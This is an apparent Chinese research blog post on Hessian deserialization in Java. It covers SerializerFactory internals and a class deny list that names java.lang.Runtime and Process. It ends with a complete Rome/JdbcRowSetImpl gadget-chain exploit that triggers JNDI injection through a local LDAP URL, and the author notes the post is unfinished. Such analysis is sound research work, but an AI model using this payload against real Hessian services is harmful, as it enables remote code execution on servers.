[TOC]
# 0x01 Hessian 简介
Hessian 是二进制的 web service 协议,官方对 Java、Flash/Flex、Python、C++、.NET C# 等多种语言都进行了实现。Hessian 和 Axis、XFire 都能实现 web service 方式的远程方法调用,区别是 Hessian 是二进制协议,Axis、XFire 则是 SOAP 协议,所以从性能上说 Hessian 远优于后两者,并且 Hessian 的 JAVA 使用方法非常简单。它使用 Java 语言接口定义了远程对象,集合了序列化 / 反序列化和 RMI 功能。
Hessian 是基于 Field 机制的反序列化。是直接对 Field 进行复制操作的机制,不是通过 getter、setter 方法对属性赋值。就对象进行的方法调用而言,基于字段的机制通常通常不构成攻击面。
# Hessian 概念图
- Serializer:序列化的接口
- Deserializer :反序列化的接口
- AbstractHessianInput :hessian 自定义的输入流,提供对应的 read 各种类型的方法
- AbstractHessianOutput :hessian 自定义的输出流,提供对应的 write 各种类型的方法
- AbstractSerializerFactory:抽象序列化工厂类
- SerializerFactory :Hessian 序列化工厂的标准实现
- ExtSerializerFactory:可以设置自定义的序列化机制,通过该 Factory 可以进行扩展
- BeanSerializerFactory:对 SerializerFactory 的默认 object 的序列化机制进行强制指定,指定为使用 BeanSerializer 对 object 进行处理
Hessian Serializer/Derializer 默认情况下实现了以下序列化 / 反序列化器,用户也可通过接口 / 抽象类自定义序列化 / 反序列化器:
序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化;反序列化时也会根据对象、属性不同类型选择不同的反序列化器;每个类型序列化器中还有具体的 FieldSerializer。这里注意下 JavaSerializer/JavaDeserializer 与 BeanSerializer/BeanDeserializer,它们不是类型序列化 / 反序列化器,而是属于机制序列化 / 反序列化器:
- JavaSerializer:通过反射获取所有 bean 的属性进行序列化,排除 static 和 transient 属性,对其他所有的属性进行递归序列化处理 (比如属性本身是个对象)
- BeanSerializer 是遵循 pojo bean 的约定,扫描 bean 的所有方法,发现存在 get 和 set 方法的属性进行序列化,它并不直接直接操作所有的属性,比较温柔
# 总结 & 扩展
1、Hessian 是二进制的 web service 协议,用于在分布式系统中进行远程过程调用(RPC)和序列化。
(这里提一句,看到远程调用可能会想到 RMI,其实这俩都是为了远程调用程序设计的,其中 RMI 是专门针对 java 语言的。而 RPC 是一种通用的概念,可应用于不同的编程语言之间的通信。两者都需要定义接口或者方法来描述可远程调用的操作。)
2、Hessian 因为是二进制协议,所以传输速率上要优于其他协议。但其相交于 json 格式其字节数会更多。并且不易读 (毕竟二进制)。hessian 序列化 - demo 演示_哔哩哔哩_bilibili
3、Hessian 的反序列化是基于 Field 机制的。许多集合、Map 等类型无法使用它们运行时表示形式进行传输 / 存储,这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法,例如 Hessian 中如果是反序列化 map 类型,会调用 MapDeserializer 处理 map,期间 map 的 put 方法被调用,map 的 put 方法又会计算被恢复对象的 hash 造成 hashcode 调用(这里对 hashcode 方法的调用就是前面说的必须调用攻击者提供的对象上的方法),根据实际情况,可能 hashcode 方法中还会触发后续的其他方法调用。
# 测试
下面我们来看下原生的反序列化
一个 test 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example;
import java.io.ObjectInputStream; import java.io.Serializable;
public class test implements Serializable { public String name="ki10Moc"; public int age=222;
public void setAge(int age) { this.age = age; }
public void setName(String name) { this.name = name; }
public String getName() { return name; }
public int getAge() { return age; }
private void readObject(ObjectInputStream ois){ System.out.print("自动调用了readObject方法"); } }
|
一个 demo 启动类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example;
import java.io.*;
public class demo { public static void main(String[] args) throws IOException, ClassNotFoundException { ByteArrayOutputStream ser = new ByteArrayOutputStream(); ObjectOutputStream oser = new ObjectOutputStream(ser); oser.writeObject(new test()); oser.close();
System.out.println(ser); ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray())); Object newobj=unser.readObject(); } }
|
再来看一个 Hessian 的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.example;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException;
public class HessianDemo { public static void main(String[] args) throws IOException { ByteArrayOutputStream ser = new ByteArrayOutputStream(); HessianOutput hessianOutput=new HessianOutput(ser); hessianOutput.writeObject(new test()); hessianOutput.close();
System.out.println(ser);
HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray())); hessianInput.readObject(); } }
|
可以发现其并不会像原生的 Gadget 自动调用 readObject 方法
并且 Hessian 反序列化中的类是不需要实现序列化接口的
下面我们 debug 看下
# 0x02 调试分析
# 无用的流程
这段 debug 可能也没什么意义吧。。似乎
只是走了一遍流程,嫌麻烦的话完全可以去掉这一过程
进入 HessianInput 的 readObject 方法
首先判断第一个 tag 为 77 (M)
因为 Hessian 序列化时将结果处理成了 Map
然后是遍历反序列化对象的名称字段和 ascill
我这里就是 org.example.test
到这里开始就进入到了序列化工厂类
先是调用 readMap
这里就是看哪种能获取哪种 type,然后调用对应的反序列化器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException { Deserializer deserializer = getDeserializer(type);
if (deserializer != null) return deserializer.readMap(in); else if (_hashMapDeserializer != null) return _hashMapDeserializer.readMap(in); else { _hashMapDeserializer = new MapDeserializer(HashMap.class);
return _hashMapDeserializer.readMap(in); } }
|
第一步先进入 getDeserializer
先判断类型,不能为空
进入下一个 if
其中 _cachedSerializerMap
是一个私有的 HashMap 类型
然后这里获取到 type,并强转为 Deserializer
但这里 deserializer 的值仍为 null
说明其 type 没有对应上
最后一个判断,是否是 [(数组) 开头,显然也不是
进入 try 的 loadSerializedClass 方法
1 2 3 4 5
| public Class<?> loadSerializedClass(String className) throws ClassNotFoundException { return getClassFactory().load(className); }
|
该方法直接调用了 getClassFactory ().load 处理结果并返回
继续跟进
1 2 3 4 5 6 7 8 9 10
| public Class<?> load(String className) throws ClassNotFoundException { if (isAllow(className)) { return Class.forName(className, false, _loader); } else { return HashMap.class; } }
|
这里就将 org.example.test 初始化
接下来就是判断
我们直接看下代码,也是比较好理解的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| static class Allow { private Boolean _isAllow; private Pattern _pattern; private Allow(String pattern, boolean isAllow) { _isAllow = isAllow; _pattern = Pattern.compile(pattern); } Boolean allow(String className) { if (_pattern.matcher(className).matches()) { return _isAllow; } else { return null; } } } static { ArrayList<Allow> blacklist = new ArrayList<Allow>(); blacklist.add(new Allow("java\\.lang\\.Runtime", false)); blacklist.add(new Allow("java\\.lang\\.Process", false)); blacklist.add(new Allow("java\\.lang\\.System", false)); blacklist.add(new Allow("java\\.lang\\.Thread", false)); _staticAllowList = new ArrayList<Allow>(blacklist); _staticAllowList.add(new Allow("java\\..+", true)); _staticAllowList.add(new Allow("javax\\.management\\..+", true)); _staticDenyList = new ArrayList<Allow>(blacklist); }
|
一个静态方法 Allow
用来控制该类是否为可访问项
一个匹配模式和 Bool 型返回值
其中黑名单,0123 分别对应了四种类
下面那两个就是允许访问的类
然后遍历四个黑名单均为 false
遍历完返回 null
接着就到了 loadDeserializer
但是上面的类名均不在名单中所以返回都是 null
该过程中加载了很多个不同的 Deserializer 对应的方法,均 null
最终在 else 处加载到内容
接着回到 SerializerFactory.getDeserializer
在 loadDeserializer
并比对是否在缓存中的该类型反序列化器
因为加载到了相应的反序列化器,所以就一马平川到了这里
直接返回了 readMap 的 in,回到开始的 HessianInput 处理流
也是直接返回内容
最终走完整个过程
# 漏洞分析
刚才我们分析序列化工厂这里的 getDeserializer
代码会将其存储到 _cachedTypeDeserializerMap
中,以便下次相同 type
的请求可以从缓存中直接获取。
再联想到可以调用任意类的 hashCode ()
所以接下来就需要 hashCode () 作为反序列化入口即可
# Rome 链
Rome 链,从 TemplatesImpl 的 getter 方法 ->JdbcRowSetImpl 的 getter 方法实现 JNDI 注入
Gadget
1 2 3 4 5 6 7 8
| * TemplatesImpl.getOutputProperties() * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
|
这是 Rome 链的流程但是在 Hessian 不能使用
之所以不能用 TemplatesImpl
的这个链子,就是因为 _tfactory
属性是 transient
的,Hessian 的反序列化不像正常的反序列化那样可以调用 readObject,_tfactory 无法处理,为 null 的情况下就不能实现动态加载字节码,所以换成了 JdbcRowSetImpl
的 getter
来实现 JNDI 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package org.example;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap;
public class Hessian implements Serializable {
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); }
public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:8085/YbiMqGUd"; jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); }
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } }
|
到这里其实没写完,但是电脑出问题了,后面好了一会把 md 发出来了
电脑可能是内存不够了,内存直接拉满了一直黑屏,可惜还没到换电脑的时候。。。
未完成事项都先放到周末吧,唉,第一个周末真的是一言难尽